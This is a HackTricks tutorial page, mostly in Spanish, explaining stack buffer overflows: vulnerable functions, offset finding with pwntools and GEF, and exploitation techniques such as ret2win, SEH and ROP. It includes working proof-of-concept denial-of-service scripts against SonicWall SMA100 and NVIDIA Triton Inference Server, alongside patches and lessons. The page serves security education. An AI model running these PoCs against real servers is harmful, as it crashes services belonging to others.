Stack Overflow

Reading time: 10 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es un Stack Overflow

Un stack overflow es una vulnerabilidad que ocurre cuando un programa escribe más datos en el stack de los que tiene asignados. Estos datos en exceso sobrescribirán el espacio de memoria adyacente, lo que conduce a la corrupción de datos válidos, la interrupción del flujo de control y, potencialmente, a la ejecución de código malicioso. Este problema suele surgir debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada.

El problema principal de este sobrescrito es que el puntero de instrucción guardado (EIP/RIP) y el puntero base guardado (EBP/RBP) para volver a la función anterior están almacenados en el stack. Por lo tanto, un atacante podrá sobrescribirlos y controlar el flujo de ejecución del programa.

La vulnerabilidad suele aparecer porque una función copia dentro del stack más bytes de los que se le han asignado, pudiendo así sobrescribir otras partes del stack.

Algunas funciones comunes vulnerables a esto son: strcpy, strcat, sprintf, gets... Además, funciones como fgets, read & memcpy que toman un argumento de longitud, pueden usarse de forma vulnerable si la longitud especificada es mayor que la asignada.

Por ejemplo, las siguientes funciones podrían ser vulnerables:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Encontrar offsets de Stack Overflows

La forma más común de encontrar stack overflows es dar una entrada muy grande de As (p. ej. python3 -c 'print("A"*1000)') y esperar un Segmentation Fault indicando que se intentó acceder a la dirección 0x41414141.

Además, una vez que descubres que existe una vulnerabilidad de Stack Overflow necesitarás encontrar el offset hasta que sea posible sobrescribir la return address, para esto normalmente se usa una De Bruijn sequence. La cual, para un alfabeto de tamaño k y subsecuencias de longitud n, es una secuencia cíclica en la que cada subsecuencia posible de longitud n aparece exactamente una vez como subsecuencia contigua.

De esta manera, en lugar de tener que averiguar a mano qué offset se necesita para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndolo.

Es posible usar pwntools para esto:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

o GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Explotando Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to sobrescribir valores de variables locales dentro del stack hasta alcanzar los guardados EBP/RBP y EIP/RIP (o incluso más).
La forma más común de abusar de este tipo de vulnerabilidad es modificando la dirección de retorno para que cuando la función termine el control flow sea redirigido a donde el usuario haya especificado en ese puntero.

Sin embargo, en otros escenarios quizá solo sobrescribir los valores de algunas variables en el stack sea suficiente para la explotación (como en retos CTF sencillos).

Ret2win

En este tipo de retos CTF, existe una función dentro del binario que nunca se llama y que necesitas invocar para ganar. Para estos retos solo necesitas encontrar el offset para sobrescribir la dirección de retorno y encontrar la dirección de la función a llamar (usualmente ASLR estaría deshabilitado) para que cuando la función vulnerable retorne, la función oculta sea llamada:

Ret2win

Stack Shellcode

En este escenario el atacante puede colocar un shellcode en el stack y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

En Windows de 32 bits, un overflow puede sobrescribir la cadena de Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH por un gadget POP POP RET y usa el campo nSEH de 4 bytes para un salto corto que pivota de vuelta al gran buffer donde vive el shellcode. Un patrón común es un jmp corto en nSEH que aterriza en un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload.

Windows Seh Overflow

ROP & Ret2... techniques

Esta técnica es la base para bypassear la principal protección a la técnica anterior: No executable stack (NX). Además permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios abusando de instrucciones existentes en el binario:

ROP - Return Oriented Programing

Heap Overflows

Un overflow no siempre ocurrirá en el stack, también podría estar en el heap, por ejemplo:

Heap Overflow

Types of protections

Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, revísalas en:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Una buena demostración de por qué sscanf nunca debería ser confiable para parsear entrada no confiable apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall. La rutina vulnerable dentro de /usr/src/EasyAccess/bin/httpd intenta extraer la versión y el endpoint de cualquier URI que comience con /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La primera conversión (%2s) almacena de forma segura dos bytes en version (p. ej. "v1").
  2. La segunda conversión (%s) no tiene especificador de longitud, por lo tanto sscanf seguirá copiando hasta el primer byte NUL.
  3. Porque endpoint está ubicado en la stack y es 0x800 bytes de longitud, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que esté después del buffer ‑ incluyendo el stack canary y la saved return address.

Una proof-of-concept de una sola línea es suficiente para provocar el crash antes de la autenticación:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Aunque los stack canaries abortan el proceso, un atacante aún obtiene una primitiva de Denial-of-Service (y, con leaks adicionales de información, posiblemente ejecución de código). La lección es simple:

  • Proporcione siempre un ancho máximo de campo (p. ej. %511s).
  • Prefiera alternativas más seguras como snprintf/strncpy_s.

Ejemplo del mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

El Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples stack-based overflows accesibles a través de su HTTP API. El patrón vulnerable aparecía repetidamente en http_server.cc y sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) devuelve el número de segmentos de buffer internos que componen el cuerpo de la solicitud HTTP actual.
  2. Cada segmento provoca que se asigne un evbuffer_iovec de 16-byte en la stack mediante alloca()sin ningún límite superior.
  3. Abusando de HTTP chunked transfer-encoding, un cliente puede forzar que la solicitud se divida en cientos de miles de fragmentos de 6-byte ("1\r\nA\r\n"). Esto hace que n crezca sin límite hasta que la stack se agote.

Prueba de concepto (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Una petición de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y hacer que el daemon se bloquee en una compilación por defecto.

Parche y mitigación

La versión 25.07 reemplaza la asignación insegura en la pila por un std::vector respaldado en heap y maneja correctamente std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Lecciones aprendidas:

  • Nunca llames a alloca() con tamaños controlados por el atacante.
  • Las solicitudes chunked pueden cambiar drásticamente la forma de los buffers del lado del servidor.
  • Valida / limita cualquier valor derivado de la entrada del cliente antes de usarlo en asignaciones de memoria.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks